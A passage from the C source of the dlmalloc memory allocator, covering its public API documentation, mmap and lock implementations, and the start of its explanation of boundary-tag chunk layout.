amount of free trailing space to leave untrimmed. If this argument is zero, only the minimum amount of memory to maintain internal data structures will be left. Non-zero arguments can be supplied to maintain enough trailing space to service future expected allocations without having to re-obtain memory from the system. Malloc_trim returns 1 if it actually released any memory, else 0. */ DLMALLOC_EXPORT int dlmalloc_trim(size_t); /* malloc_stats(); Prints on stderr the amount of space obtained from the system (both via sbrk and mmap), the maximum amount (which may be more than current if malloc_trim and/or munmap got called), and the current number of bytes allocated via malloc (or realloc, etc) but not yet freed. Note that this is the number of bytes allocated, not the number requested. It will be larger than the number requested because of alignment and bookkeeping overhead. Because it includes alignment wastage as being in use, this figure may be greater than zero even when no user-level chunks are allocated. The reported current and maximum system memory can be inaccurate if a program makes other calls to system memory allocation functions (normally sbrk) outside of malloc. malloc_stats prints only the most commonly interesting statistics. More information can be obtained by calling mallinfo. */ DLMALLOC_EXPORT void dlmalloc_stats(void); /* malloc_usable_size(void* p); Returns the number of bytes you can actually use in an allocated chunk, which may be more than you requested (although often not) due to alignment and minimum size constraints. You can use this many bytes without worrying about overwriting other allocated objects. This is not a particularly great programming practice. malloc_usable_size can be more useful in debugging and assertions, for example: p = malloc(n); assert(malloc_usable_size(p) >= 256); */ size_t dlmalloc_usable_size(void*); #endif /* ONLY_MSPACES */ #if MSPACES /* mspace is an opaque type representing an independent region of space that supports mspace_malloc, etc. */ typedef void* mspace; /* create_mspace creates and returns a new independent space with the given initial capacity, or, if 0, the default granularity size. It returns null if there is no system memory available to create the space. If argument locked is non-zero, the space uses a separate lock to control access. The capacity of the space will grow dynamically as needed to service mspace_malloc requests. You can control the sizes of incremental increases of this space by compiling with a different DEFAULT_GRANULARITY or dynamically setting with mallopt(M_GRANULARITY, value). */ DLMALLOC_EXPORT mspace create_mspace(size_t capacity, int locked); /* destroy_mspace destroys the given space, and attempts to return all of its memory back to the system, returning the total number of bytes freed. After destruction, the results of access to all memory used by the space become undefined. */ DLMALLOC_EXPORT size_t destroy_mspace(mspace msp); /* create_mspace_with_base uses the memory supplied as the initial base of a new mspace. Part (less than 128*sizeof(size_t) bytes) of this space is used for bookkeeping, so the capacity must be at least this large. (Otherwise 0 is returned.) When this initial space is exhausted, additional memory will be obtained from the system. Destroying this space will deallocate all additionally allocated space (if possible) but not the initial base. */ DLMALLOC_EXPORT mspace create_mspace_with_base(void* base, size_t capacity, int locked); /* mspace_track_large_chunks controls whether requests for large chunks are allocated in their own untracked mmapped regions, separate from others in this mspace. By default large chunks are not tracked, which reduces fragmentation. However, such chunks are not necessarily released to the system upon destroy_mspace. Enabling tracking by setting to true may increase fragmentation, but avoids leakage when relying on destroy_mspace to release all memory allocated using this space. The function returns the previous setting. */ DLMALLOC_EXPORT int mspace_track_large_chunks(mspace msp, int enable); /* mspace_malloc behaves as malloc, but operates within the given space. */ DLMALLOC_EXPORT void* mspace_malloc(mspace msp, size_t bytes); /* mspace_free behaves as free, but operates within the given space. If compiled with FOOTERS==1, mspace_free is not actually needed. free may be called instead of mspace_free because freed chunks from any space are handled by their originating spaces. */ DLMALLOC_EXPORT void mspace_free(mspace msp, void* mem); /* mspace_realloc behaves as realloc, but operates within the given space. If compiled with FOOTERS==1, mspace_realloc is not actually needed. realloc may be called instead of mspace_realloc because realloced chunks from any space are handled by their originating spaces. */ DLMALLOC_EXPORT void* mspace_realloc(mspace msp, void* mem, size_t newsize); /* mspace_calloc behaves as calloc, but operates within the given space. */ DLMALLOC_EXPORT void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size); /* mspace_memalign behaves as memalign, but operates within the given space. */ DLMALLOC_EXPORT void* mspace_memalign(mspace msp, size_t alignment, size_t bytes); /* mspace_independent_calloc behaves as independent_calloc, but operates within the given space. */ DLMALLOC_EXPORT void** mspace_independent_calloc(mspace msp, size_t n_elements, size_t elem_size, void* chunks[]); /* mspace_independent_comalloc behaves as independent_comalloc, but operates within the given space. */ DLMALLOC_EXPORT void** mspace_independent_comalloc(mspace msp, size_t n_elements, size_t sizes[], void* chunks[]); /* mspace_footprint() returns the number of bytes obtained from the system for this space. */ DLMALLOC_EXPORT size_t mspace_footprint(mspace msp); /* mspace_max_footprint() returns the peak number of bytes obtained from the system for this space. */ DLMALLOC_EXPORT size_t mspace_max_footprint(mspace msp); #if !NO_MALLINFO /* mspace_mallinfo behaves as mallinfo, but reports properties of the given space. */ DLMALLOC_EXPORT struct mallinfo mspace_mallinfo(mspace msp); #endif /* NO_MALLINFO */ /* malloc_usable_size(void* p) behaves the same as malloc_usable_size; */ DLMALLOC_EXPORT size_t mspace_usable_size(const void* mem); /* mspace_malloc_stats behaves as malloc_stats, but reports properties of the given space. */ DLMALLOC_EXPORT void mspace_malloc_stats(mspace msp); /* mspace_trim behaves as malloc_trim, but operates within the given space. */ DLMALLOC_EXPORT int mspace_trim(mspace msp, size_t pad); /* An alias for mallopt. */ DLMALLOC_EXPORT int mspace_mallopt(int, int); #endif /* MSPACES */ #ifdef __cplusplus } /* end of extern "C" */ #endif /* __cplusplus */ /* ======================================================================== To make a fully customizable malloc.h header file, cut everything above this line, put into file malloc.h, edit to suit, and #include it on the next line, as well as in programs that use this malloc. ======================================================================== */ /* #include "malloc.h" */ /*------------------------------ internal #includes ---------------------- */ #ifdef _MSC_VER #pragma warning( disable : 4146 ) /* no "unsigned" warnings */ #endif /* _MSC_VER */ #if !NO_MALLOC_STATS #include <stdio.h> /* for printing in malloc_stats */ #endif /* NO_MALLOC_STATS */ #ifndef LACKS_ERRNO_H #include <errno.h> /* for MALLOC_FAILURE_ACTION */ #endif /* LACKS_ERRNO_H */ #ifdef DEBUG #if ABORT_ON_ASSERT_FAILURE #undef assert #define assert(x) if(!(x)) ABORT #else /* ABORT_ON_ASSERT_FAILURE */ #include <assert.h> #endif /* ABORT_ON_ASSERT_FAILURE */ #else /* DEBUG */ #ifndef assert #define assert(x) #endif #define DEBUG 0 #endif /* DEBUG */ #if !defined(WIN32) && !defined(LACKS_TIME_H) #include <time.h> /* for magic initialization */ #endif /* WIN32 */ #ifndef LACKS_STDLIB_H #include <stdlib.h> /* for abort() */ #endif /* LACKS_STDLIB_H */ #ifndef LACKS_STRING_H #include <string.h> /* for memset etc */ #endif /* LACKS_STRING_H */ #if USE_BUILTIN_FFS #ifndef LACKS_STRINGS_H #include <strings.h> /* for ffs */ #endif /* LACKS_STRINGS_H */ #endif /* USE_BUILTIN_FFS */ #if HAVE_MMAP #ifndef LACKS_SYS_MMAN_H /* On some versions of linux, mremap decl in mman.h needs __USE_GNU set */ #if (defined(linux) && !defined(__USE_GNU)) #define __USE_GNU 1 #include <sys/mman.h> /* for mmap */ #undef __USE_GNU #else #include <sys/mman.h> /* for mmap */ #endif /* linux */ #endif /* LACKS_SYS_MMAN_H */ #ifndef LACKS_FCNTL_H #include <fcntl.h> #endif /* LACKS_FCNTL_H */ #endif /* HAVE_MMAP */ #ifndef LACKS_UNISTD_H #include <unistd.h> /* for sbrk, sysconf */ #else /* LACKS_UNISTD_H */ #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) extern void* sbrk(ptrdiff_t); #endif /* FreeBSD etc */ #endif /* LACKS_UNISTD_H */ /* Declarations for locking */ #if USE_LOCKS #ifndef WIN32 #if defined (__SVR4) && defined (__sun) /* solaris */ #include <thread.h> #elif !defined(LACKS_SCHED_H) #include <sched.h> #endif /* solaris or LACKS_SCHED_H */ #if (defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0) || !USE_SPIN_LOCKS #include <pthread.h> #endif /* USE_RECURSIVE_LOCKS ... */ #elif defined(_MSC_VER) #ifndef _M_AMD64 /* These are already defined on AMD64 builds */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ LONG __cdecl _InterlockedCompareExchange(LONG volatile *Dest, LONG Exchange, LONG Comp); LONG __cdecl _InterlockedExchange(LONG volatile *Target, LONG Value); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* _M_AMD64 */ #pragma intrinsic (_InterlockedCompareExchange) #pragma intrinsic (_InterlockedExchange) #define interlockedcompareexchange _InterlockedCompareExchange #define interlockedexchange _InterlockedExchange #elif defined(WIN32) && defined(__GNUC__) #define interlockedcompareexchange(a, b, c) __sync_val_compare_and_swap(a, c, b) #define interlockedexchange __sync_lock_test_and_set #endif /* Win32 */ #else /* USE_LOCKS */ #endif /* USE_LOCKS */ #ifndef LOCK_AT_FORK #define LOCK_AT_FORK 0 #endif /* Declarations for bit scanning on win32 */ #if defined(_MSC_VER) && _MSC_VER>=1300 #ifndef BitScanForward /* Try to avoid pulling in WinNT.h */ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ unsigned char _BitScanForward(unsigned long *index, unsigned long mask); unsigned char _BitScanReverse(unsigned long *index, unsigned long mask); #ifdef __cplusplus } #endif /* __cplusplus */ #define BitScanForward _BitScanForward #define BitScanReverse _BitScanReverse #pragma intrinsic(_BitScanForward) #pragma intrinsic(_BitScanReverse) #endif /* BitScanForward */ #endif /* defined(_MSC_VER) && _MSC_VER>=1300 */ #ifndef WIN32 #ifndef malloc_getpagesize # ifdef _SC_PAGESIZE /* some SVR4 systems omit an underscore */ # ifndef _SC_PAGE_SIZE # define _SC_PAGE_SIZE _SC_PAGESIZE # endif # endif # ifdef _SC_PAGE_SIZE # define malloc_getpagesize sysconf(_SC_PAGE_SIZE) # else # if defined(BSD) || defined(DGUX) || defined(HAVE_GETPAGESIZE) extern size_t getpagesize(); # define malloc_getpagesize getpagesize() # else # ifdef WIN32 /* use supplied emulation of getpagesize */ # define malloc_getpagesize getpagesize() # else # ifndef LACKS_SYS_PARAM_H # include <sys/param.h> # endif # ifdef EXEC_PAGESIZE # define malloc_getpagesize EXEC_PAGESIZE # else # ifdef NBPG # ifndef CLSIZE # define malloc_getpagesize NBPG # else # define malloc_getpagesize (NBPG * CLSIZE) # endif # else # ifdef NBPC # define malloc_getpagesize NBPC # else # ifdef PAGESIZE # define malloc_getpagesize PAGESIZE # else /* just guess */ # define malloc_getpagesize ((size_t)4096U) # endif # endif # endif # endif # endif # endif # endif #endif #endif /* ------------------- size_t and alignment properties -------------------- */ /* The byte and bit size of a size_t */ #define SIZE_T_SIZE (sizeof(size_t)) #define SIZE_T_BITSIZE (sizeof(size_t) << 3) /* Some constants coerced to size_t */ /* Annoying but necessary to avoid errors on some platforms */ #define SIZE_T_ZERO ((size_t)0) #define SIZE_T_ONE ((size_t)1) #define SIZE_T_TWO ((size_t)2) #define SIZE_T_FOUR ((size_t)4) #define TWO_SIZE_T_SIZES (SIZE_T_SIZE<<1) #define FOUR_SIZE_T_SIZES (SIZE_T_SIZE<<2) #define SIX_SIZE_T_SIZES (FOUR_SIZE_T_SIZES+TWO_SIZE_T_SIZES) #define HALF_MAX_SIZE_T (MAX_SIZE_T / 2U) /* The bit mask value corresponding to MALLOC_ALIGNMENT */ #define CHUNK_ALIGN_MASK (MALLOC_ALIGNMENT - SIZE_T_ONE) /* True if address a has acceptable alignment */ #define is_aligned(A) (((size_t)((A)) & (CHUNK_ALIGN_MASK)) == 0) /* the number of bytes to offset an address to align it */ #define align_offset(A)\ ((((size_t)(A) & CHUNK_ALIGN_MASK) == 0)? 0 :\ ((MALLOC_ALIGNMENT - ((size_t)(A) & CHUNK_ALIGN_MASK)) & CHUNK_ALIGN_MASK)) /* -------------------------- MMAP preliminaries ------------------------- */ /* If HAVE_MORECORE or HAVE_MMAP are false, we just define calls and checks to fail so compiler optimizer can delete code rather than using so many "#if"s. */ /* MORECORE and MMAP must return MFAIL on failure */ #define MFAIL ((void*)(MAX_SIZE_T)) #define CMFAIL ((char*)(MFAIL)) /* defined for convenience */ #if HAVE_MMAP #ifndef WIN32 #define MUNMAP_DEFAULT(a, s) munmap((a), (s)) #define MMAP_PROT (PROT_READ|PROT_WRITE) #if !defined(MAP_ANONYMOUS) && defined(MAP_ANON) #define MAP_ANONYMOUS MAP_ANON #endif /* MAP_ANON */ #ifdef MAP_ANONYMOUS #define MMAP_FLAGS (MAP_PRIVATE|MAP_ANONYMOUS) #define MMAP_DEFAULT(s) mmap(0, (s), MMAP_PROT, MMAP_FLAGS, -1, 0) #else /* MAP_ANONYMOUS */ /* Nearly all versions of mmap support MAP_ANONYMOUS, so the following is unlikely to be needed, but is supplied just in case. */ #define MMAP_FLAGS (MAP_PRIVATE) static int dev_zero_fd = -1; /* Cached file descriptor for /dev/zero. */ #define MMAP_DEFAULT(s) ((dev_zero_fd < 0) ? \ (dev_zero_fd = open("/dev/zero", O_RDWR), \ mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) : \ mmap(0, (s), MMAP_PROT, MMAP_FLAGS, dev_zero_fd, 0)) #endif /* MAP_ANONYMOUS */ #define DIRECT_MMAP_DEFAULT(s) MMAP_DEFAULT(s) #else /* WIN32 */ /* Win32 MMAP via VirtualAlloc */ static FORCEINLINE void* win32mmap(size_t size) { void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); return (ptr != 0)? ptr: MFAIL; } /* For direct MMAP, use MEM_TOP_DOWN to minimize interference */ static FORCEINLINE void* win32direct_mmap(size_t size) { void* ptr = VirtualAlloc(0, size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_READWRITE); return (ptr != 0)? ptr: MFAIL; } /* This function supports releasing coalesed segments */ static FORCEINLINE int win32munmap(void* ptr, size_t size) { MEMORY_BASIC_INFORMATION minfo; char* cptr = (char*)ptr; while (size) { if (VirtualQuery(cptr, &minfo, sizeof(minfo)) == 0) return -1; if (minfo.BaseAddress != cptr || minfo.AllocationBase != cptr || minfo.State != MEM_COMMIT || minfo.RegionSize > size) return -1; if (VirtualFree(cptr, 0, MEM_RELEASE) == 0) return -1; cptr += minfo.RegionSize; size -= minfo.RegionSize; } return 0; } #define MMAP_DEFAULT(s) win32mmap(s) #define MUNMAP_DEFAULT(a, s) win32munmap((a), (s)) #define DIRECT_MMAP_DEFAULT(s) win32direct_mmap(s) #endif /* WIN32 */ #endif /* HAVE_MMAP */ #if HAVE_MREMAP #ifndef WIN32 #define MREMAP_DEFAULT(addr, osz, nsz, mv) mremap((addr), (osz), (nsz), (mv)) #endif /* WIN32 */ #endif /* HAVE_MREMAP */ /** * Define CALL_MORECORE */ #if HAVE_MORECORE #ifdef MORECORE #define CALL_MORECORE(S) MORECORE(S) #else /* MORECORE */ #define CALL_MORECORE(S) MORECORE_DEFAULT(S) #endif /* MORECORE */ #else /* HAVE_MORECORE */ #define CALL_MORECORE(S) MFAIL #endif /* HAVE_MORECORE */ /** * Define CALL_MMAP/CALL_MUNMAP/CALL_DIRECT_MMAP */ #if HAVE_MMAP #define USE_MMAP_BIT (SIZE_T_ONE) #ifdef MMAP #define CALL_MMAP(s) MMAP(s) #else /* MMAP */ #define CALL_MMAP(s) MMAP_DEFAULT(s) #endif /* MMAP */ #ifdef MUNMAP #define CALL_MUNMAP(a, s) MUNMAP((a), (s)) #else /* MUNMAP */ #define CALL_MUNMAP(a, s) MUNMAP_DEFAULT((a), (s)) #endif /* MUNMAP */ #ifdef DIRECT_MMAP #define CALL_DIRECT_MMAP(s) DIRECT_MMAP(s) #else /* DIRECT_MMAP */ #define CALL_DIRECT_MMAP(s) DIRECT_MMAP_DEFAULT(s) #endif /* DIRECT_MMAP */ #else /* HAVE_MMAP */ #define USE_MMAP_BIT (SIZE_T_ZERO) #define MMAP(s) MFAIL #define MUNMAP(a, s) (-1) #define DIRECT_MMAP(s) MFAIL #define CALL_DIRECT_MMAP(s) DIRECT_MMAP(s) #define CALL_MMAP(s) MMAP(s) #define CALL_MUNMAP(a, s) MUNMAP((a), (s)) #endif /* HAVE_MMAP */ /** * Define CALL_MREMAP */ #if HAVE_MMAP && HAVE_MREMAP #ifdef MREMAP #define CALL_MREMAP(addr, osz, nsz, mv) MREMAP((addr), (osz), (nsz), (mv)) #else /* MREMAP */ #define CALL_MREMAP(addr, osz, nsz, mv) MREMAP_DEFAULT((addr), (osz), (nsz), (mv)) #endif /* MREMAP */ #else /* HAVE_MMAP && HAVE_MREMAP */ #define CALL_MREMAP(addr, osz, nsz, mv) MFAIL #endif /* HAVE_MMAP && HAVE_MREMAP */ /* mstate bit set if continguous morecore disabled or failed */ #define USE_NONCONTIGUOUS_BIT (4U) /* segment bit set in create_mspace_with_base */ #define EXTERN_BIT (8U) /* --------------------------- Lock preliminaries ------------------------ */ /* When locks are defined, there is one global lock, plus one per-mspace lock. The global lock_ensures that mparams.magic and other unique mparams values are initialized only once. It also protects sequences of calls to MORECORE. In many cases sys_alloc requires two calls, that should not be interleaved with calls by other threads. This does not protect against direct calls to MORECORE by other threads not using this lock, so there is still code to cope the best we can on interference. Per-mspace locks surround calls to malloc, free, etc. By default, locks are simple non-reentrant mutexes. Because lock-protected regions generally have bounded times, it is OK to use the supplied simple spinlocks. Spinlocks are likely to improve performance for lightly contended applications, but worsen performance under heavy contention. If USE_LOCKS is > 1, the definitions of lock routines here are bypassed, in which case you will need to define the type MLOCK_T, and at least INITIAL_LOCK, DESTROY_LOCK, ACQUIRE_LOCK, RELEASE_LOCK and TRY_LOCK. You must also declare a static MLOCK_T malloc_global_mutex = { initialization values };. */ #if !USE_LOCKS #define USE_LOCK_BIT (0U) #define INITIAL_LOCK(l) (0) #define DESTROY_LOCK(l) (0) #define ACQUIRE_MALLOC_GLOBAL_LOCK() #define RELEASE_MALLOC_GLOBAL_LOCK() #else #if USE_LOCKS > 1 /* ----------------------- User-defined locks ------------------------ */ /* Define your own lock implementation here */ /* #define INITIAL_LOCK(lk) ... */ /* #define DESTROY_LOCK(lk) ... */ /* #define ACQUIRE_LOCK(lk) ... */ /* #define RELEASE_LOCK(lk) ... */ /* #define TRY_LOCK(lk) ... */ /* static MLOCK_T malloc_global_mutex = ... */ #elif USE_SPIN_LOCKS /* First, define CAS_LOCK and CLEAR_LOCK on ints */ /* Note CAS_LOCK defined to return 0 on success */ #if defined(__GNUC__)&& (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 1)) #define CAS_LOCK(sl) __sync_lock_test_and_set(sl, 1) #define CLEAR_LOCK(sl) __sync_lock_release(sl) #elif (defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))) /* Custom spin locks for older gcc on x86 */ static FORCEINLINE int x86_cas_lock(int *sl) { int ret; int val = 1; int cmp = 0; __asm__ __volatile__ ("lock; cmpxchgl %1, %2" : "=a" (ret) : "r" (val), "m" (*(sl)), "0"(cmp) : "memory", "cc"); return ret; } static FORCEINLINE void x86_clear_lock(int* sl) { assert(*sl != 0); int prev = 0; int ret; __asm__ __volatile__ ("lock; xchgl %0, %1" : "=r" (ret) : "m" (*(sl)), "0"(prev) : "memory"); } #define CAS_LOCK(sl) x86_cas_lock(sl) #define CLEAR_LOCK(sl) x86_clear_lock(sl) #else /* Win32 MSC */ #define CAS_LOCK(sl) interlockedexchange(sl, (LONG)1) #define CLEAR_LOCK(sl) interlockedexchange (sl, (LONG)0) #endif /* ... gcc spins locks ... */ /* How to yield for a spin lock */ #define SPINS_PER_YIELD 63 #if defined(_MSC_VER) #define SLEEP_EX_DURATION 50 /* delay for yield/sleep */ #define SPIN_LOCK_YIELD SleepEx(SLEEP_EX_DURATION, FALSE) #elif defined (__SVR4) && defined (__sun) /* solaris */ #define SPIN_LOCK_YIELD thr_yield(); #elif !defined(LACKS_SCHED_H) #define SPIN_LOCK_YIELD sched_yield(); #else #define SPIN_LOCK_YIELD #endif /* ... yield ... */ #if !defined(USE_RECURSIVE_LOCKS) || USE_RECURSIVE_LOCKS == 0 /* Plain spin locks use single word (embedded in malloc_states) */ static int spin_acquire_lock(int *sl) { int spins = 0; while (*(volatile int *)sl != 0 || CAS_LOCK(sl)) { if ((++spins & SPINS_PER_YIELD) == 0) { SPIN_LOCK_YIELD; } } return 0; } #define MLOCK_T int #define TRY_LOCK(sl) !CAS_LOCK(sl) #define RELEASE_LOCK(sl) CLEAR_LOCK(sl) #define ACQUIRE_LOCK(sl) (CAS_LOCK(sl)? spin_acquire_lock(sl) : 0) #define INITIAL_LOCK(sl) (*sl = 0) #define DESTROY_LOCK(sl) (0) static MLOCK_T malloc_global_mutex = 0; #else /* USE_RECURSIVE_LOCKS */ /* types for lock owners */ #ifdef WIN32 #define THREAD_ID_T DWORD #define CURRENT_THREAD GetCurrentThreadId() #define EQ_OWNER(X,Y) ((X) == (Y)) #else /* Note: the following assume that pthread_t is a type that can be initialized to (casted) zero. If this is not the case, you will need to somehow redefine these or not use spin locks. */ #define THREAD_ID_T pthread_t #define CURRENT_THREAD pthread_self() #define EQ_OWNER(X,Y) pthread_equal(X, Y) #endif struct malloc_recursive_lock { int sl; unsigned int c; THREAD_ID_T threadid; }; #define MLOCK_T struct malloc_recursive_lock static MLOCK_T malloc_global_mutex = { 0, 0, (THREAD_ID_T)0}; static FORCEINLINE void recursive_release_lock(MLOCK_T *lk) { assert(lk->sl != 0); if (--lk->c == 0) { CLEAR_LOCK(&lk->sl); } } static FORCEINLINE int recursive_acquire_lock(MLOCK_T *lk) { THREAD_ID_T mythreadid = CURRENT_THREAD; int spins = 0; for (;;) { if (*((volatile int *)(&lk->sl)) == 0) { if (!CAS_LOCK(&lk->sl)) { lk->threadid = mythreadid; lk->c = 1; return 0; } } else if (EQ_OWNER(lk->threadid, mythreadid)) { ++lk->c; return 0; } if ((++spins & SPINS_PER_YIELD) == 0) { SPIN_LOCK_YIELD; } } } static FORCEINLINE int recursive_try_lock(MLOCK_T *lk) { THREAD_ID_T mythreadid = CURRENT_THREAD; if (*((volatile int *)(&lk->sl)) == 0) { if (!CAS_LOCK(&lk->sl)) { lk->threadid = mythreadid; lk->c = 1; return 1; } } else if (EQ_OWNER(lk->threadid, mythreadid)) { ++lk->c; return 1; } return 0; } #define RELEASE_LOCK(lk) recursive_release_lock(lk) #define TRY_LOCK(lk) recursive_try_lock(lk) #define ACQUIRE_LOCK(lk) recursive_acquire_lock(lk) #define INITIAL_LOCK(lk) ((lk)->threadid = (THREAD_ID_T)0, (lk)->sl = 0, (lk)->c = 0) #define DESTROY_LOCK(lk) (0) #endif /* USE_RECURSIVE_LOCKS */ #elif defined(WIN32) /* Win32 critical sections */ #define MLOCK_T CRITICAL_SECTION #define ACQUIRE_LOCK(lk) (EnterCriticalSection(lk), 0) #define RELEASE_LOCK(lk) LeaveCriticalSection(lk) #define TRY_LOCK(lk) TryEnterCriticalSection(lk) #define INITIAL_LOCK(lk) (!InitializeCriticalSectionAndSpinCount((lk), 0x80000000|4000)) #define DESTROY_LOCK(lk) (DeleteCriticalSection(lk), 0) #define NEED_GLOBAL_LOCK_INIT static MLOCK_T malloc_global_mutex; static volatile LONG malloc_global_mutex_status; /* Use spin loop to initialize global lock */ static void init_malloc_global_mutex() { for (;;) { long stat = malloc_global_mutex_status; if (stat > 0) return; /* transition to < 0 while initializing, then to > 0) */ if (stat == 0 && interlockedcompareexchange(&malloc_global_mutex_status, (LONG)-1, (LONG)0) == 0) { InitializeCriticalSection(&malloc_global_mutex); interlockedexchange(&malloc_global_mutex_status, (LONG)1); return; } SleepEx(0, FALSE); } } #else /* pthreads-based locks */ #define MLOCK_T pthread_mutex_t #define ACQUIRE_LOCK(lk) pthread_mutex_lock(lk) #define RELEASE_LOCK(lk) pthread_mutex_unlock(lk) #define TRY_LOCK(lk) (!pthread_mutex_trylock(lk)) #define INITIAL_LOCK(lk) pthread_init_lock(lk) #define DESTROY_LOCK(lk) pthread_mutex_destroy(lk) #if defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0 && defined(linux) && !defined(PTHREAD_MUTEX_RECURSIVE) /* Cope with old-style linux recursive lock initialization by adding */ /* skipped internal declaration from pthread.h */ extern int pthread_mutexattr_setkind_np __P ((pthread_mutexattr_t *__attr, int __kind)); #define PTHREAD_MUTEX_RECURSIVE PTHREAD_MUTEX_RECURSIVE_NP #define pthread_mutexattr_settype(x,y) pthread_mutexattr_setkind_np(x,y) #endif /* USE_RECURSIVE_LOCKS ... */ static MLOCK_T malloc_global_mutex = PTHREAD_MUTEX_INITIALIZER; static int pthread_init_lock (MLOCK_T *lk) { pthread_mutexattr_t attr; if (pthread_mutexattr_init(&attr)) return 1; #if defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0 if (pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE)) return 1; #endif if (pthread_mutex_init(lk, &attr)) return 1; if (pthread_mutexattr_destroy(&attr)) return 1; return 0; } #endif /* ... lock types ... */ /* Common code for all lock types */ #define USE_LOCK_BIT (2U) #ifndef ACQUIRE_MALLOC_GLOBAL_LOCK #define ACQUIRE_MALLOC_GLOBAL_LOCK() ACQUIRE_LOCK(&malloc_global_mutex); #endif #ifndef RELEASE_MALLOC_GLOBAL_LOCK #define RELEASE_MALLOC_GLOBAL_LOCK() RELEASE_LOCK(&malloc_global_mutex); #endif #endif /* USE_LOCKS */ /* ----------------------- Chunk representations ------------------------ */ /* (The following includes lightly edited explanations by Colin Plumb.) The malloc_chunk declaration below is misleading (but accurate and necessary). It declares a "view" into memory allowing access to necessary fields at known offsets from a given base. Chunks of memory are maintained using a `boundary tag' method as originally described by Knuth. (See the paper by Paul Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a survey of such techniques.) Sizes of free chunks are stored both in the front of each chunk and at the end. This makes consolidating fragmented chunks into bigger chunks fast. The head fields also hold bits representing whether chunks are free or in use. Here are some pictures to make it clearer. They are "exploded" to show that the state of a chunk can be thought of as extending from the high 31 bits of the head field of its header through the prev_foot and PINUSE_BIT bit of the following chunk header. A chunk that's in use looks like: chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk (if P = 0) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P| | Size of this chunk 1| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | +- -+ | | +- -+ | : +- size - sizeof(size_t) available payload bytes -+ : | chunk-> +- -+ | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |1| | Size of next chunk (may or may not be in use) | +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ And if it's free, it looks like this: chunk-> +- -+ | User payload (must be in use, or we would have merged!) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |P| | Size of this chunk 0| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Prev pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | : +- size - sizeof(struct chunk) unused bytes -+ : | chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of this chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0| | Size of next chunk (must be in use, or we would have merged)| +-+ mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | : +- User payload -+ : | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |0| +-+ Note that since we always merge adjacent free chunks, the chunks adjacent to a free chunk must be in use. Given a pointer to a chunk (which can be derived trivially from the payload pointer) we can, in O(1) time, find out whether the adjacent chunks are free, and if so, unlink them from the lists that they are on and merge them with the current chunk. Chunks always begin on even word boundaries, so the mem portion (which is returned to the user) is also on an even word boundary, and thus at least double-word aligned. The P (PINUSE_BIT) bit, stored in the unused low-order bit of the chunk size (which is always a multiple of two words), is an in-use bit for the *previous* chunk. If that bit is *clear*, then the word before the current chunk size contains the previous chunk size, and can be used to find the front of the previous chunk. The very first chunk allocated always has this bit set, preventing access to non-existent (or non-owned) memory. If pinuse is set for any given chunk, then you CANNOT determine the size of the previous chunk, and might even get a memory addressing fault when trying to do so. The C (CINUSE_BIT) bit, stored in the unused second-lowest bit of the chunk size redundantly records whether the current chunk is inuse (unless the chunk is mmapped). This redundancy enables usage checks within free and realloc, and reduces indirection when freeing and consolidating chunks. Each freshly allocated chunk must have both cinuse and pinuse set. That is, each allocated chunk borders either a previously allocated and still in-use chunk, or the base of its memory arena. This is ensured by making all allocations from the `lowest' part of any found chunk. Further, no free chunk physically borders another one, so each free chunk is known to be preceded and followed by either inuse chunks or the ends of memory. Note that the `foot' of the current chunk is actually represented as the prev_foot of the NEXT 